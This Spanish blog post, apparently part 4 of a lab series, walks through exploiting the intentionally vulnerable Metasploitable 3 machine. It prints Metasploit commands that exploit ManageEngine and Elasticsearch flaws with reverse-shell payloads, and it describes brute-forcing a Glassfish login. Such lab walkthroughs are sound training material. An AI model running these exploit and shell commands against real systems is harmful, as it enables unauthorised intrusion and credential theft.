En esta serie de artículos, resolveremos la máquina Metasploitable 3, la cual instalamos en previamente. Para conocer detalles acerca de la instalación en Windows 10, puedes ver la publicación anterior http://labitacoradelhacker.com/instalar-metasploitable-3-en-windows-10-2020/
Si deseas ver las entradas anteriores de esta serie de artículos, puedes visitar los siguientes enlaces:
Parte 1: http://labitacoradelhacker.com/metasploitable-3-solucion-parte-1-ftp/
Parte 2: http://labitacoradelhacker.com/metasploitable-3-solucion-parte-2-http-upload/
Parte 3: http://labitacoradelhacker.com/metasploitable-3-solucion-parte-3-jenkins-tomcat-mysql-wordpress/
Lo primero que tenemos que hacer es identificar la dirección IP de nuestra máquina objetivo, en este caso, Metasploitable. Lanzaremos un ping scan con Nmap:

Nuestra máquina objetivo está en la 192.168.1.16, entonces ejecutaremos un escaneo completo. Dentro de los servicios activos encontramos los servicios Manage Engine (puertos 8020, 8022 y 8383), Elasticsearch (9200) y Glassfish (4848 y 8080).

La primera vulnerabilidad que explotaremos será la de Manage Engine. La versión 9 de Desktop Central, tiene un exploit público que afecta la clase FileUploadServer y ha sido clasificada con el CVE: CVE-2015-8249 .

Para explotar este servicio utilizaremos el exploit de Metasploit manageengine_connectionid_write
use exploit/windows/http/manageengine_connectionid_write
set RHOSTS 192.168.1.16
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.17
set LPORT 4446

Otra vulnerabilidad encontrada, está asociada al servicio de Elasticsearch que corre en el puerto 9200. Esta vulnerabilidad está presente en el servicio API REST, el cual permite una ejecución de código remoto en versiones de Elascticsearch anteriores a la 1.2.0. Este fallo ha sido catalogado con el CVE: CVE-2014-3120.

Para explotar esta vulnerabilidad utilizaremos el exploit de Metasploit script_mvel_rce
use exploit/multi/elasticsearch/script_mvel_rce
set RHOSTS 192.168.1.16
set payload java/shell_reverse_tcp
set LHOST 192.168.1.17
set LPORT 4447

Y hemos conseguido una shell con privilegios de system.
Para terminar este post, utilizaremos un módulo auxiliar de Metasploit, que nos ayudará a tener acceso al servicio de Glassfish. El módulo es auxiliary/scanner/http/glassfish_login, el cual permite realizar fuerza bruta intentando conseguir credenciales para el acceso:

Con estas credenciales podemos acceder al panel de administración de Glassfish:

En la próxima entrega extraeremos las credenciales de los usuarios del sistema operativo a través de mimikatz.